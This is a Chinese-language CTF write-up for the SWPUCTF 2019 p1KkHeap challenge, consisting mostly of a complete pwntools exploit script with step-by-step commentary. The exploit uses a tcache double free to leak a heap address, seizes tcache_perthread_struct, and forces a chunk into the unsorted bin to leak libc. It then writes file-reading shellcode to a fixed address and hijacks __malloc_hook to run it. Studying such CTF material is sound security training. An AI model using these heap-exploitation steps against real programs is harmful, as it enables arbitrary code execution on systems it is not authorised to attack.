这个题是修改管理tcache的chunk的结构来达到可以任意malloc的目的。
思路:这题保护全开,一看就是在hook中填shellcode,onegadget等等做法,还需要泄露libc基址,这需要控制tcache_struct,改控制tcache chunk数量大小的地方,然后在delete一个相同大小的chunk,就放到unsorted_bin中,泄露完成。
收获:了解到了tcache中都是user地址开始的chunk,并且tcache是后进先出的。2.27有小版本的tcache没有double free,且控制tcache struct可以达到很强的攻击性。
分步分析exp
第一步:写函数
from pwn import *
context.update(arch='amd64', os='linux', endian='little')
io = process('./SWPUCTF_2019_p1KkHeap')
context.log_level = 'debug'
io = process(["/home/eeeeeeeeeeeeeeeea/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so", "./SWPUCTF_2019_p1KkHeap"],
env={"LD_PRELOAD":"/home/eeeeeeeeeeeeeeeea/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so"})
#io = remote("node4.buuoj.cn",29544)
def add_note(size):
global io
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(size))
io.recvuntil("Done!\n")
def show_note(idx):
global io
io.sendlineafter("Your Choice: ", '2')
io.sendlineafter("id: ", str(idx))
msg = io.recvline()
leak_addr = msg[9:15]
leak_addr = u64(leak_addr.ljust(8, b'\x00'))
success("leak_addr:"+hex(leak_addr))
io.recvuntil("Done!\n")
return leak_addr
def edit_note(idx, content):
global io
io.sendlineafter("Your Choice: ", '3')
io.sendlineafter("id: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("Done!\n")
def del_note(idx):
global io
io.sendlineafter("Your Choice: ", '4')
io.sendlineafter("id: ", str(idx))
io.recvuntil("Done!\n")
def g():
gdb.attach(io)
input()
第二步:
add_note(0x100) # 0
add_note(0x100) # 1
del_note(1)
del_note(1)
# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)
add_note(0x100) # 3
add_note(0x100) # 4 tcache struct
修改chunk2的fd指针,也就是修改了chunk1的fd指针,然后malloc两次就控制了tcache_struct
(通过tcache dup来获得heap_addr,从而能分配到tcache_struct达到控制的目的。)
第三步:
edit_note(4, 0xb8 * b'\x00' + p64(0x66660000))
0x01f处记录0x110大小的tcache chunk的数量为0,但是bin中还存在一个chunk,很迷。0x0c8处有0x110大小的chunk地址。
第四步:
add_note(0x100) # 5
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))
申请出来,然后向0x66660000处填入shellcode。
将5申请出来之后查看一下tcache struct
第五步:
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70
将5申请出来之后,记录数量的地方变成了0xff,然后在释放chunk0,就可以直接释放到unsorted bin里,泄露成功。
第六步:
edit_note(4, 0xb8 * b'\x00' + p64(malloc_hook))
add_note(0x100) # 6
edit_note(6, p64(0x66660000))
编辑chunk4,向0x110大小的tcache struct记录其地址的地方填入malloc_hook,然后向malloc_hook中填入0x66660000放入shellcode的地方。
之后就很简单喽ahhh